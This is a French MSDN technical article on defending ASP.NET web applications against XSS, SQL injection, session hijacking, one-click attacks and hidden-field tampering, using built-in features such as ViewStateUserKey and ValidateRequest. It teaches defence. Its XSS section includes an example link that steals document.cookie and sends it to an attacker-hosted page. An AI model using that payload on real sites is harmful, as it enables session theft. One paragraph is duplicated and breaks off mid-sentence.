Exporter (0) Imprimer
Développer tout

Utilisation des fonctionnalités intégrées ASP.NET pour repousser les attaques Web (articles techniques ASP.NET)

Dino répertorie les types d'attaques Web les plus courants et explique comment les développeurs Web peuvent utiliser les fonctionnalités intégrées d'ASP.NET pour renforcer la sécurité. Cet article contient des liens vers des pages en anglais. (13 pages imprimées)

Lire l'article en anglais  ms972969.us(fr-fr,MSDN.10).gif

Sur cette page

Ce que les développeurs ASP.NET doivent toujours faire
D'où viennent les menaces ?
ViewStateUserKey
Cookies et authentification
Détournement de session
EnableViewStateMac
ValidateRequest
Perspective des bases de données
Champs cachés
Messages électroniques et courrier indésirable
Résumé
À propos de l'auteur

Ce que les développeurs ASP.NET doivent toujours faire

Si vous lisez cet article, c'est que vous n'ignorez pas le rôle toujours plus important de la sécurité dans les applications Web. Et sans doute cherchez-vous quelques conseils pratiques sur la manière d'implémenter cette sécurité dans des applications ASP.NET. Malheureusement, aucune plate-forme de développement, y compris ASP.NET, ne peut vous garantir que le code que vous allez écrire sera sûr à 100 % une fois que vous l'aurez adopté ; les affirmations de ce type ne sont que mensonges. Mais, heureusement, ASP.NET, notamment la version 1.1 et la version 2.0 à venir, intègre un certain nombre de mécanismes défensifs, prêts à l'emploi.

L'application de ces fonctionnalités seules ne suffit pas à protéger une application Web contre toutes les attaques possibles et prévisibles. Toutefois, combinées avec d'autres techniques de défense et stratégies de sécurité, elles offrent un ensemble d'outils performants qui contribue à sécuriser l'environnement d'exploitation des applications Web.

La sécurité Web repose sur plusieurs facteurs et résulte d'une stratégie qui va bien au-delà des limites de l'application, puisqu'elle va jusqu'à englober l'administration de la base de données, la configuration du réseau, l'ingénierie sociale et le « phishing » (récupération abusive de données personnelles).

L'objectif de cet article est de montrer ce que les développeurs ASP.NET doivent toujours faire pour maintenir un niveau de sécurité suffisamment élevé. Globalement, la sécurité consiste à rester vigilant, à ne jamais s'estimer à l'abri des attaques et à rendre le détournement et le piratage toujours plus difficiles.

Voyons ce que nous offre ASP.NET pour nous simplifier la tâche.

D'où viennent les menaces ?

Dans le tableau 1, nous avons récapitulé les types les plus courants d'attaques Web et les points faibles qui, dans une application, leur permettent de réussir.

Attaque

Rendue possible par...

Scripts intersite (XSS)

Données non fiables saisies par l'utilisateur et qui sont renvoyées en écho dans la page

Injection SQL

Concaténation de données utilisateur de façon à former des commandes SQL

Détournement de session

Recherche de l'ID de session et cookies d'ID de session volés

One-click

Envois HTTP involontaires transmis via un script

Falsification des champs cachés

Champ caché non vérifié (et fiable) contenant des données confidentielles

Que doit-on retenir de cette liste ? Trois points au moins, qui sont les suivants :

  • Chaque fois que vous insérez des données utilisateur dans les balises du navigateur, vous vous exposez à une attaque de type injection de code (toutes les variantes d'injection SQL et de XSS).

  • L'accès à la base de données doit se faire de manière sécurisée ; à cette fin, il convient d'utiliser l'ensemble d'autorisations le plus réduit possible pour accéder aux comptes et de limiter la responsabilité de chaque utilisateur par le biais de rôles.

  • Les données confidentielles ne doivent jamais être envoyées sur le réseau (encore moins en texte clair). De plus, elles doivent être stockées en lieu sûr sur le serveur.

Il est intéressant de noter que ces trois points touchent à trois aspects distincts de la sécurité Web et seule leur combinaison permet de créer une application fiable capable de résister aux falsifications. Il est possible de résumer ainsi les aspects de la sécurité Web :

  • Pratiques de codage : valider les données, vérifier le type et la longueur du tampon, prendre des mesures anti-falsification.

  • Stratégies d'accès aux données : utiliser des rôles pour renforcer le compte, des procédures stockées ou, au minimum, des commandes paramétrées.

  • Stockage et administration efficaces : ne pas envoyer des données stratégiques au client, utiliser des codes de hachage pour détecter les manipulations, authentifier les utilisateurs et protéger leur identité, appliquer des règles strictes au niveau des mots de passe.

Comme vous pouvez le constater, la sécurisation d'une application ne peut être que le fruit des efforts combinés des développeurs, des architectes et des administrateurs. Ne pensez pas que vous y parviendrez autrement.

Lorsque vous écrivez des applications ASP.NET, vous n'êtes pas totalement seul dans votre lutte contre les pirates, armé uniquement de vos idées, de vos connaissances et de vos doigts pour saisir les lignes de code ! ASP.NET 1.1 et les versions ultérieures vous proposent quelques fonctionnalités spécifiques qui apportent une protection contre certaines des menaces évoquées plus haut. Examinons-les en détail.

ViewStateUserKey

Introduite avec ASP.NET 1.1, ViewStateUserKey est une propriété de type chaîne sur la classe Page que peu de développeurs connaissent bien. Pour quelle raison ? Reportons-nous à ce que la documentation nous en dit.

Attribue un identificateur à un utilisateur dans la variable d'état d'affichage associée à la page en cours

En dépit de son style compliqué, cette phrase est claire ; mais pouvez-vous dire honnêtement qu'elle explique la fonction de la propriété ? Pour comprendre le rôle de ViewStateUserKey, vous devez poursuivre la lecture jusqu'à la section Remarques.

La propriété contribue à empêcher les attaques de type one-click en fournissant une entrée supplémentaire destinée à créer la valeur de hachage qui protège l'état d'affichage contre la falsification. En d'autres termes, ViewStateUserKey rend la tâche des pirates plus difficile lorsqu'ils utilisent le contenu de l'état d'affichage côté client et préparent leurs envois malveillants sur le site. Il est possible d'associer la propriété à une chaîne non vide, de préférence l'ID de session ou l'ID d'utilisateur. Pour mieux comprendre l'importance de cette propriété, revoyons rapidement les principes d'une attaque one-click.

Une attaque one-click consiste à envoyer un formulaire HTTP malveillant à un site Web connu et vulnérable. On l'appelle « one-click » parce que, le plus souvent, la victime, ignorante de ce qui va se passer, clique sur un lien intéressant reçu dans un message électronique ou trouvé en cours de navigation dans un forum très fréquenté. En suivant le lien, l'utilisateur déclenche sans le savoir un processus distant qui se termine par l'envoi du <formulaire> malveillant à un site. Soyez honnête : pouvez-vous affirmer que vous n'avez jamais suivi un lien du type Cliquez ici pour gagner 1 000 000 euros, juste pour voir ? Apparemment, il ne vous est rien arrivé. Supposons que ce soit vrai ; pouvez-vous dire la même chose pour le reste de la communauté Web ? Qui sait !

Pour réussir, une attaque one-click exige certaines conditions préliminaires :

  • Le pirate doit disposer de beaucoup d'informations sur le site vulnérable. Il y parvient parce ce qu'il étudie le fichier avec soin ou parce qu'il nourrit une rancune tenace (dans le cas, par exemple, d'un salarié licencié et malhonnête). Pour cette raison, l'attaque risque vraiment d'être dévastatrice.

  • Le site doit utiliser des cookies (de préférence des cookies persistants) permettant de mettre en œuvre l'authentification unique et le pirate doit avoir reçu un cookie d'authentification valide.

  • Certains utilisateurs du site interviennent dans des transactions sensibles.

  • Le pirate doit avoir accès à la page cible.

Comme indiqué plus haut, l'attaque consiste à envoyer un formulaire HTTP malveillant à une page qui attend un formulaire. Le plus souvent, cette page va utiliser des données envoyées pour exécuter une opération sensible. En outre, le pirate sait exactement comment sera utilisé chaque champ et il peut fournir des valeurs usurpées pour atteindre son but. Il s'agit généralement d'une attaque ciblée et, par ailleurs, il est difficile de remonter à la source en raison de la relation triangulaire qui s'est établie : le pirate invite une victime à cliquer sur un lien de son site et la victime renvoie le mauvais code à un troisième site. (Voir la figure 1.)

ms972969.securitybarriers01(fr-fr,MSDN.10).gif

Figure 1. Attaque one-click

Pourquoi une victime qui ne se doute de rien ? Parce que, de cette manière, les journaux du serveur montrent que l'adresse IP d'où provient la mauvaise requête est celle de la victime ! Comme indiqué plus haut, cette attaque n'est pas aussi courante (ni aussi facile à organiser) qu'un script intersite (XSS) « classique » ; cependant, elle peut être particulièrement néfaste. Quel remède adopter ? Revoyons les mécanismes de l'attaque dans le contexte ASP.NET.

À moins que l'action ne soit codée dans l'événement Page_Load, il n'est pas possible pour une page ASP.NET d'exécuter un code sensible hors d'un événement postback. Pour qu'un postback ait lieu, le champ de l'état d'affichage est obligatoire. N'oubliez pas que ASP.NET vérifie l'état postback d'une requête et définit IsPostBack en conséquence, en fonction de la présence du champ de saisie _VIEWSTATE. Ainsi, quiconque veut envoyer une requête malveillante à une page ASP.NET doit nécessairement fournir un champ d'état d'affichage valide.

Pour que l'attaque one-click fonctionne, le pirate doit avoir eu accès à la page. Dès qu'il y a eu accès, il a, par anticipation, enregistré la page localement. Il peut donc à présent accéder au champ _VIEWSTATE et s'en servir pour créer une requête avec l'ancien état d'affichage et des valeurs malveillantes dans les autres champs. La question est de savoir si cela va fonctionner.

Pourquoi pas ? Si le pirate peut fournir un code d'authentification valide, il dispose d'un accès et la requête est normalement traitée. Le contenu de l'état d'affichage n'est pas vérifié sur le serveur (lorsque EnableViewStataMac est désactivé) ou il ne l'est que par rapport à une falsification éventuelle. Par défaut, rien dans l'état d'affichage ne relie ce contenu à un utilisateur particulier. Le pirate peut donc facilement réutiliser l'état d'affichage obtenu en accédant légalement à la page pour créer ensuite une requête malveillante au nom d'un autre utilisateur. C'est là qu'intervient ViewStateUserKey.

Définie avec soin, cette propriété ajoute dans l'état d'affichage des informations propres à l'utilisateur. Lorsque la requête est traitée, ASP.NET extrait la clé de l'état d'affichage et la compare à la propriété ViewStateUserKey de la page en cours. En cas de correspondance, la requête est jugée valable ; sinon, une exception est générée. Qu'est-ce qu'une valeur valide pour cette propriété ?

Le fait de définir ViewStateUserKey comme chaîne constante (la même pour tous les utilisateurs) revient à la laisser vide. Vous devez lui attribuer une valeur qui varie avec chaque utilisateur, ID d'utilisateur ou, mieux encore, ID de session. Pour un certain nombre de raisons techniques et générales, l'ID de session est plus adapté car il est imprévisible, il expire et varie pour chaque utilisateur.

Voici le code à intégrer à toutes vos pages :

            void Page_Init (object sender, EventArgs e) {
               ViewStateUserKey = Session.SessionID;
               :
            }
            

Pour éviter d'avoir à l'écrire de multiples fois, vous pouvez l'incorporer à la méthode virtuelle OnInit de la classe dérivée de Page. (Vous devez définir cette propriété dans l'événement Page.Init.)

            protected override OnInit(EventArgs e) {
               base.OnInit(e); 
               ViewStateUserKey = Session.SessionID;
            }
            

Généralement, l'utilisation d'une classe Page de base est toujours profitable, comme je l'explique dans mon article Build Your ASP.NET Pages on a Richer Bedrock. Pour en savoir plus sur les méthodes des pirates dans une attaque one-click, vous trouverez un excellent article sur le site aspnetpro.com .

Cookies et authentification

Les cookies existent car ils peuvent aider les développeurs à atteindre des résultats. Ils fonctionnent comme une sorte de lien permanent entre le navigateur et le serveur. Or, notamment pour les applications qui utilisent le principe de l'authentification unique, un cookie volé est le composant qui rend l'attaque possible. Ce qui est précisément le cas avec les attaques one-click.

Pour utiliser des cookies, vous n'avez pas besoin de les créer et de les lire explicitement par programmation. Leur utilisation est implicite si vous employez l'état de session et si vous implémentez l'authentification des formulaires. ASP.NET gère bien sûr l'état de session sans cookie et ASP.NET 2.0 propose également l'authentification des formulaires sans cookie. Vous pourriez donc en théorie utiliser ces fonctionnalités sans vous servir de cookies. Je ne dis pas que vous ne devez pas le faire, mais nous sommes là dans un cas où le remède risque d'être pire que le mal. En fait, les sessions sans cookie incorporent l'ID de session dans l'URL, ce qui le rend lisible par tous.

Quels sont les problèmes potentiels liés à l'utilisation des cookies ? Les cookies peuvent être volés (c'est-à-dire copiés sur la machine du pirate) et « empoisonnés » (remplis de données malveillantes). Ces actions sont souvent le prélude à une attaque imminente. Une fois volés, les cookies d'authentification « autorisent » des utilisateurs extérieurs à se connecter à l'application (et à utiliser des pages protégées) en votre nom, ce qui permet aux pirates d'ignorer tranquillement l'autorisation et de réaliser eux-mêmes tout ce que la victime peut faire dans la limite des rôles et des paramètres de sécurité dont elle dispose. Pour cette raison, les cookies d'authentification possèdent généralement une durée de vie relativement courte, 30 minutes environ. (Notez que le cookie expire même si la session du navigateur dure plus longtemps). En cas de vol, les pirates ont 30 minutes pour tenter une attaque.

Vous pouvez prolonger cette période afin d'éviter aux utilisateurs d'avoir à se connecter trop souvent : sachez que c'est alors à vos risques et périls. Dans tous les cas, évitez d'utiliser des cookies persistants ASP.NET. Vous obtiendriez un cookie quasiment éternel, valable près de 50 ans ! L'extrait de code suivant montre comment modifier l'expiration du cookie à volonté.

		void OnLogin(object sender, EventArgs e) {
		// Check credentials
		if (ValidateUser(user, pswd)) {
			// Set the cookie's expiration date
			HttpCookie cookie;
			cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
			if (isPersistent) 
				cookie.Expires = DateTime.Now.AddDays(10);

				// Add the cookie to the response
				Response.Cookies.Add(cookie);

				// Redirect
				string targetUrl;
				targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
			Response.Redirect(targetUrl);
		}
		}
			

Vous pouvez incorporer ce code dans vos formulaires de connexion pour préciser la durée de vie des cookies d'authentification.

Détournement de session

Les cookies sont également utilisés pour extraire l'état de session d'un utilisateur particulier. L'ID de session est stocké dans un cookie qui fait l'aller-retour avec la requête et qui est enregistré sur la machine du navigateur. Là encore, si un pirate vole le cookie de session, il peut s'en servir pour entrer dans le système et accéder à l'état de session d'un autre utilisateur. Inutile de le préciser, l'opération se déroule lorsque la session spécifiée est active, c'est-à-dire pas plus de 20 minutes en général. Une attaque menée par le biais d'un état de session usurpé est appelée détournement de session. Pour plus détails sur le détournement de session, lisez l'article Theft On The Web: Prevent Session Hijacking.

Dans quelle mesure ce type d'attaque est-il dangereux ? La réponse est difficile. Cela dépend de la fonction du site Web et, surtout, de la finalité de ses pages. Par exemple, imaginez la possibilité d'obtenir le cookie de session d'un utilisateur et de le joindre à une requête adressée à une page du site. Vous chargez la page et vous travaillez via son interface utilisateur standard. Il n'existe pas de code à injecter dans la page ni rien dans la page que vous puissez modifier ; simplement, la page utilise désormais l'état de session d'un autre utilisateur. La chose n'est pas mauvaise en soi, mais en pareil cas, les pirates ont plus de chances d'atteindre leur objectif dès lors que les informations de la session sont sensibles et stratégiques. Certes, le pirate ne peut pas examiner le contenu de la session, mais il peut utiliser ce qui y est stocké comme s'il y avait accédé de façon légitime. Prenons l'exemple d'une application de commerce électronique dans laquelle les utilisateurs ajoutent des articles à leur panier d'achat à mesure qu'ils consultent le site.

  • Scénario 1. Le contenu du panier d'achat est stocké dans l'état de session. Cependant, au moment d'enregistrer, l'utilisateur est invité à confirmer et à entrer les détails de paiement sur une connexion SSL sécurisée. Dans ce cas, le lien avec l'état de session d'un autre utilisateur ne permet au pirate que de récupérer des informations sur les préférences d'achat de la victime. Ce type de détournement n'a aucune conséquence néfaste. Seule la confidentialité est menacée.

  • Scénario 2. L'application gère le profil de chaque utilisateur enregistré et le stocke dans l'état de session. Hélas, ce profil (c'est parfois le cas) inclut les informations de la carte de crédit. Pourquoi stocker les données du profil utilisateur dans la session ? Peut-être qu'un des buts de l'application est d'éviter aux utilisateurs d'avoir à taper les renseignements bancaires et de carte de crédit d'une fois sur l'autre. Mais au moment du règlement, l'application dirige l'utilisateur vers une page contenant des champs préalablement renseignés. Imprudemment, un de ces champs contient le numéro de la carte de crédit extrait de l'état de session. Je pense que vous devinez la fin de l'histoire.

La conception de la page d'une application est essentielle pour éviter les détournements de session. Cependant, deux problèmes restent entiers. Premièrement, que pouvez-vous faire pour empêcher le vol de cookies ? Deuxièmement, que peut faire ASP.NET pour détecter et bloquer le détournement ?

Le cookie de session ASP.NET est extrêmement simple et il est prévu pour ne contenir que la chaîne de l'ID de session. Le runtime ASP.NET extrait l'ID de session du cookie et procède à une vérification par rapport aux sessions actives. Si l'ID est valide, ASP.NET se connecte à la session correspondante et poursuit son travail. Ce comportement simplifie grandement la vie des pirates qui ont volé ou pu deviner un ID de session valide.

Les attaques de type XSS et man-in-the-middle (l'homme au milieu), ainsi qu'une attaque en force (brute force) sur un PC client, sont des moyens d'obtenir un cookie valide. Pour éviter les vols, vous devez mettre en œuvre les meilleures pratiques existantes en matière de sécurité destinées à faire échouer les attaques XSS et toutes ses variantes.

Pour empêcher que l'ID de session ne soit deviné, évitez simplement de surestimer vos compétences. Le fait de deviner un ID de session signifie que vous connaissez un moyen pour prévoir une chaîne d'ID de session valide. Étant donné l'algorithme utilisé par ASP.NET (15 numéros aléatoires mappés sur des caractères de type URL), vos chances de deviner un ID sont quasiment nulles. Je ne vois aucune raison pour remplacer le générateur par défaut d'ID de session par votre propre système. Le plus souvent, vous ne ferez que simplifier le travail des pirates.

Le pire dans un détournement de session est qu'une fois que le cookie a été volé ou deviné, ASP.NET ne peut pas faire grand-chose pour détecter l'utilisation frauduleuse qui en est faite. Là encore, la raison en est que ASP.NET se contente de vérifier la validité de l'ID et l'emplacement d'origine du cookie.

Mon collège Wintellect Jeff Prosise a écrit un excellent article sur le détournement de session pour MSDN Magazine. Ses conclusions ne sont guère réconfortantes : il est pratiquement impossible d'établir une défense à toute épreuve contre des attaques qui s'appuient sur des cookies d'ID de session volés ; toutefois, le code qu'il a développé permet de placer la barre de la sécurité un cran plus haut. Jeff a créé un module HTTP qui surveille les requêtes entrantes et les réponses en contrôlant les cookies d'ID de session. Ce module ajoute dans les ID de session sortants un code de hachage qui complique le travail d'un éventuel pirate désireux de réutiliser le cookie. Cliquez ici pour obtenir plus de details.

EnableViewStateMac

L'état d'affichage est utilisé pour rendre persistant l'état des contrôles dans deux requêtes successives portant sur la même page. Par défaut, l'état d'affichage est codé en base 64 et signé avec une valeur de hachage pour éviter toute falsification. À moins de modifier les paramètres de la page par défaut, l'état d'affichage ne risque pas d'être falsifié. Si un pirate modifie l'état d'affichage, ou même s'il reconstitue l'état d'affichage en utilisant l'algorithme approprié, ASP.NET détecte la tentative et génère une exception. Un état d'affichage falsifié n'est pas nécessairement nuisible, bien qu'il modifie l'état des contrôles serveur, mais il peut devenir le vecteur de graves infections. Pour cette raison, il est particulièrement important de ne pas supprimer le contrôle croisé du code d'authentification de la machine (MAC) qui se déroule par défaut. Reportez-vous à figure 2.

ms972969.securitybarriers02(fr-fr,MSDN.10).gif

Figure 2. Ce qui rend l'état d'affichage résistant à la falsification lorsque EnableViewStateMac est activé

Lorsque le contrôle du code MAC est activé (ce qui est le cas par défaut), une valeur de hachage est associée à l'état d'affichage sérialisé. Cette valeur est produite à partir de certaines valeurs définies au niveau du serveur et, le cas échéant, de la clé d'utilisateur de l'état d'affichage. Lorsque l'état d'affichage est renvoyé, la valeur de hachage est recalculée à l'aide de nouvelles valeurs côté serveur et comparée à la valeur stockée. Si les deux correspondent, la requête est autorisée ; dans le cas contraire, une exception est générée. Même en supposant que le pirate a les moyens de « craquer » et de reconstruire l'état d'affichage, il doit connaître les valeurs stockées sur le serveur afin de fournir une valeur de hachage correcte. En particulier, il lui faut connaître la clé de la machine référencée dans l'entrée <machineKey> du fichier machine.config.

Par défaut, l'entrée <machineKey> est générée automatiquement et stockée physiquement dans la base Autorité de sécurité locale (LSA) de Windows. Ce n'est que dans le cas de batteries de serveurs, lorsque les clés de machine de l'état d'affichage doivent être les mêmes sur toutes les machines, que vous devez la spécifier en clair dans le fichier machine.config.

Le contrôle MAC de l'état d'affichage est géré via un attribut de la directive @Page nommé EnableViewStateMac. Comme nous l'avons vu, il est activé par défaut. Ne le désactivez jamais, au risque de rendre possibles des attaques one-click visant à falsifier l'état d'affichage et susceptibles d'aboutir.

ValidateRequest

Apparus autour de 1999, les scripts intersite (XSS) sont bien connus de nombreux développeurs Web expérimentés. En bref, un script XSS exploite les vulnérabilités du code pour introduire l'exécutable d'un pirate dans la session de navigation d'un autre utilisateur. Une fois exécuté, le code injecté peut accomplir différentes opérations : s'emparer des cookies et en télécharger une copie sur le site Web contrôlé par le pirate, surveiller la session Web de l'utilisateur et transférer des données, modifier le comportement et l'apparence de la page piratée en donnant des informations incorrectes, et même se rendre persistant, de sorte que lorsque l'utilisateur reconsulte la page, le code malveillant s'exécute à nouveau. Vous trouverez plus d'informations sur les principes de base d'une attaque XSS dans l'article TechNet Cross-site Scripting Overview.

Quelles sont les vulnérabilités qui, dans le code, rendent les attaques XSS possibles ?

XSS exploite les applications Web qui génèrent dynamiquement des pages HTML et ne valident pas les entrées renvoyées en écho dans la page. Les entrées désignent ici le contenu des chaînes de requête, les cookies et les champs de formulaire. Si ce contenu passe sur le réseau sans contrôle de sécurité correct, il existe un risque que des pirates le manipulent pour exécuter un script malveillant au niveau des navigateurs clients. (Après tout, l'attaque one-click évoquée plus haut est une variante récente des attaques XSS.) Dans une attaque XSS classique, l'utilisateur sans méfiance suit un lien trompeur qui incorpore un code désactivé. Le code malveillant est envoyé vers une page vulnérable qui l'affiche en toute confiance. Voici un exemple de ce qui se produit :

            <a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
			<script>document.location.replace(
			'http://www.hackersite.com/HackerPage.aspx?
			Cookie=' + document.cookie);
			</script>">Click to claim your prize</a>
            

L'utilisateur clique sur un lien fiable en apparence et finit par transmettre à une page vulnérable une partie de script qui, dans un premier temps, récupère tous les cookies qui se trouvent sur la machine de cet utilisateur puis, dans un deuxième temps, les envoie à une page sur le site Web du pirate.

Il est important de noter que le script XSS n'est pas un problème spécifique d'un fournisseur et qu'il n'exploite pas obligatoirement les vulnérabilités d'Internet Explorer. Il touche tous les serveurs Web et tous les navigateurs actuellement commercialisés. Plus important encore, il n'existe pas de correctif pour y remédier. Vous pouvez parfaitement protéger vos pages contre les attaques XSS en appliquant des mesures spécifiques et en adoptant des pratiques de codage sécurisées. De plus, n'oubliez pas que le pirate n'a pas besoin que l'utilisateur clique sur un lien pour lancer l'attaque.

Pour se défendre contre les attaques XSS, vous devez essentiellement déterminer quelles sont les entrées valides et rejeter tout le reste. Vous trouverez une liste de contrôle détaillée pour déjouer les attaques XSS dans un livre qui est une lecture obligée chez MIcrosoft, Writting Secure Code de Michel Howard et David LeBlanc. En particulier, je vous conseille le chapitre 13.

Pour se défendre contre les attaques XSS, vous devez essentiellement déterminer quelles sont les entrées valides et rejeter tout le reste. Vous trouverez une liste de contrôle détaillée pour déjouer les attaques XSS dans un livre qui est une lecture obligée chez MIcrosoft, circonstances où même une couleur, par ailleurs totalement inoffensive comme le triplet RVB, peut transmettre un script incontrôlé directement à la page.

Dans ASP.NET 1.1, lorsque l'attribut ValidateRequest de la directive @Page est activé, il vérifie que les utilisateurs n'envoient pas un balisage HTML potentiellement dangereux dans des chaînes de requête, des cookies ou des champs de formulaire. S'il détecte un danger, une exception est générée et la requête est abandonnée. L'attribut est activé par défaut et vous n'avez rien à faire pour être protégé. Si vous voulez faire passer un balisage HTML, vous devez le désactiver explicitement.

<%@ Page ValidateRequest="false" %>

ValidateRequest n'est pas un attribut magique et il ne peut pas remplacer une couche de validation efficace. Cliquez ici pour accéder à des informations intéressantes sur le mode opératoire sous-jacent de la fonctionnalité. En résumé, il applique une expression régulière pour intercepter quelques séquences potentiellement nuisibles.

Remarque   La fonctionnalité ValidateRequest est à l'origine imparfaite ; vous devez appliquer un correctif pour qu'elle fonctionne comme prévu. Il s'agit d'une information appréciable qui est souvent passée inaperçue. De façon assez étrange, j'ai moi-même trouvé une de mes machines encore affectée par ce défaut. N'oubliez donc pas de vérifier !

Il n'y a pas de raison de laisser ValidateRequest toujours activé. Vous pouvez le désactiver, mais vous devez pour cela avoir une très bonne raison ; par exemple, la nécessité pour l'utilisateur d'envoyer du HTML sur le site pour bénéficier d'options de mise en forme supplémentaires. Dans ce cas, vous devez limiter le nombre de balises HTML autorisées (<pre>, <b>, <i>, <p>, <br>, <hr>) et écrire une expression régulière qui garantit que rien d'autre n'est autorisé ou accepté.

Voici quelques conseils supplémentaires qui vous aideront à protéger les applications ASP.NET contre des attaques XSS :

  • Utilisez HttpUtility.HtmlEncode pour convertir les symboles dangereux dans leur représentation HTML.

  • Utilisez des guillemets et non des apostrophes car le codage HTML ne prend en compte que les guillemets.

  • Imposez une page de code pour limiter le nombre de caractères utilisables.

En résumé, utilisez, mais toujours avec méfiance, l'attribut ValidateRequest et soyez vigilants. Passez un peu de temps à étudier les principes de base des menaces sécuritaires comme celles liées à une attaque XSS et mettez en place une stratégie de défense centrée sur un point clé : considérez toutes les entrées utilisateur comme dangereuses.

Perspective des bases de données

L'injection SQL est un autre type bien connu d'attaque, basée sur les applications qui se servent de données utilisateur non filtrées pour constituer des commandes de base de données. Si l'application reprend en toute innocence tout ce que l'utilisateur saisit dans un champ de formulaire pour créer une chaîne de commande SQL, vous prenez le risque qu'un utilisateur malveillant parvienne à accéder à la page et à entrer des paramètres frauduleux pour modifier la nature de la requête. Pour en savoir plus sur l'injection SQL, cliquez ici.

Il existe plusieurs moyens de contrecarrer une attaque par injection SQL. Les techniques les plus courantes sont les suivantes.

  • Assurez-vous que les données saisies par l'utilisateur sont du type adéquat et respectent le modèle prévu (code postal, numéro de sécurité sociale, adresse de messagerie). Si vous attendez qu'une zone de texte renvoie un nombre, bloquez la requête si l'utilisateur entre une valeur qui ne peut pas être convertie en nombre.

  • Utilisez des requêtes paramétrées ou, mieux encore, des procédures stockées.

  • Utilisez les autorisations SQL Server pour limiter les actions que chaque utilisateur peut accomplir dans la base de données. Par exemple, vous pouvez désactiver xp_cmdshell ou le limiter aux administrateurs.

Si vous utilisez une procédure stockée, vous réduisez considérablement la portée de l'attaque. En fait, avec les procédures stockées, vous n'avez pas besoin de composer des chaînes SQL dynamiquement. En outre, les paramètres sont validés dans SQL Server par rapport aux types spécifiés. Même si cette technique n'est pas fiable à 100 %, combinée à la validation, elle augmentera le niveau de sécurité.

Il est même plus important de s'assurer que seuls les utilisateurs autorisés exécutent des opérations aux effets destructeurs, comme la suppression de tables. Ceci exige une conception soignée du niveau intermédiaire de l'application. Une bonne technique, et pas uniquement sur le plan de la sécurité, consiste à donner la priorité aux rôles. Vous regroupez les utilisateurs dans des rôles et vous définissez un compte pour chaque rôle, avec un ensemble réduit d'autorisations.

Il y a quelques semaines, le site Web Wintellect a subi une attaque sous la forme d'une injection SQL sophistiquée. Le pirate a tenté de créer et de lancer un script FTP pour télécharger un exécutable (malveillant ?). Par chance, l'attaque a échoué. À moins que ce ne soit la validation fiable des données entrées, le recours à des procédures stockées et l'utilisation d'autorisations SQL Server qui aient empêché l'attaque d'aboutir ?

En résumé, pour éviter des injections indésirables du code SQL, suivez les principes généraux ci-dessous :

  • Utilisez le moins de privilèges possible et n'exécutez jamais un code sous la forme « sa ».

  • Limitez l'accès aux procédures stockées intégrées.

  • Privilégiez les requêtes SQL paramétrées.

  • Ne créez pas d'instructions par la concaténation de chaînes et désactivez l'écho pour les erreurs de la base de données.

Champs cachés

Dans ASP classique, les champs masqués sont la seule façon de rendre persistantes des données entre les requêtes. Les données à récupérer sur la requête suivante sont regroupées dans un champ <input> caché et font un aller-retour entre les requêtes. Que se passe-t-il sur le client si quelqu'un modifie les valeurs stockées dans le champ ? Côté serveur, l'environnement n'a aucun moyen de le savoir, si le texte est en clair. La propriété ASP.NET ViewState pour les pages et les contrôles remplit deux fonctions : d'une part, la propriété ViewState permet de rendre l'état persistant d'une requête à l'autre ; d'autre part, ViewState permet de stocker des valeurs personnalisées dans un champ caché protégé et résistant aux falsifications.

Comme le montre la figure 2, une valeur de hachage est associée à l'état d'affichage et une vérification de cette valeur a lieu avec chaque requête afin de détecter toute falsification éventuelle. Il n'y a aucune raison d'utiliser des champs cachés dans ASP.NET, sauf dans quelques cas. L'état d'affichage remplit le même rôle d'une manière plus sécurisée. Disons tout de suite que le stockage de valeurs sensibles, telles que des prix ou des données de carte de crédit dans un champ caché non crypté équivaut à laisser la porte ouverte aux pirates ; l'état d'affichage rendrait même cette pratique moins dangereuse qu'avant en raison du mécanisme de protection des données. Cependant, n'oubliez pas que l'état d'affichage évite la falsification mais qu'il ne garantit pas la confidentialité (à moins que vous ne cryptiez les données), de sorte que les données de la carte de crédit stockées dans l'état d'affichage sont de toutes façons exposées.

Quand est-il acceptable d'utiliser les champs cachés dans ASP.NET ? Lorsque vous créez des contrôles personnalisés qui doivent renvoyer des données au serveur. Imaginez, par exemple, que vous créez un contrôle DataGrid qui gère le réordonnancement des colonnes. Vous devez retransmettre le nouvel ordre au serveur dans des postbacks. Où pourriez-vous stocker ces informations si ce n'est dans un champ caché ?

Si le champ caché est un champ en lecture/écriture, c'est-à-dire si le client est censé le renseigner, il n'y a pas grand-chose à faire contre les pirates. Vous pouvez essayer de hacher ou de crypter le texte, sans toutefois avoir l'assurance d'être à l'abri des piratages. La meilleure défense est de faire en sorte que le champ caché ne contienne que des informations inoffensives.

Ceci dit, il vaut la peine de noter que ASP.NET expose une classe assez connue qui permet de coder et de hacher un objet sérialisé. Il s'agit de la classe LosFormatter, qui est la même que celle utilisée par l'implémentation ViewState pour obtenir l'aller-retour du texte codé vers le client.

            private string EncodeText(string text) {
				StringWriter writer = new StringWriter();
				LosFormatter formatter = new LosFormatter();
				formatter.Serialize(writer, text);
				return writer.ToString();
				}
            

L'extrait de code précédent montre comment utiliser LosFormatter pour créer un contenu semblable à celui de l'état d'affichage, codé et haché.

Messages électroniques et courrier indésirable

Pour clore cet article, je tiens à souligner que dans deux au moins des attaques les plus courantes (scripts intersite classiques et one-click), les victimes sans méfiance sont amenées à cliquer sur des liens séduisants et usurpés. Souvent, nous trouvons ces liens directement dans notre boîte aux lettres, en dépit des filtres anti-spam. Les carnets d'adresses de messagerie s'achètent pour presque rien. Une des principales techniques utilisées pour constituer ces listes consiste à examiner les pages publiques sur les sites Web consultés, puis à s'emparer de tout ce qui ressemble à une adresse de messagerie.

Si une page affiche une adresse de messagerie, il y a de fortes chances pour que tôt ou tard elle soit captée par des robots Web. Vous ne le saviez pas ? En fait, cela dépend de la manière dont vous affichez l'adresse. Si vous la préprogrammez, vous êtes perdu. Si vous avez recours à des représentations de substitution telles que dino-at-microsoft-dot-com, il n'est pas évident que vous trompiez un robot Web, mais à coup sûr, vous allez agacer toute personne qui souhaite lire votre page en vue d'établir un contact légitime.

Globalement, vous devez trouver un moyen de générer dynamiquement l'adresse de messagerie comme lien mailto. C'est précisément ce que fait un composant libre, écrit par Marco Bellisano. Pour obtenir le code source complet, accédez au site Web DotNet2TheMax.

Résumé

Quelqu'un doute-t-il encore que le Web est probablement le plus hostile de tous les environnements d'exécution ? Cela tient au fait que tout le monde peut accéder à un site Web et tenter de transmettre des données, bonnes ou mauvaises. Cependant, peut-on vraiment admettre l'idée de créer une application Web qui n'accepte pas les données saisies par l'utilisateur ?

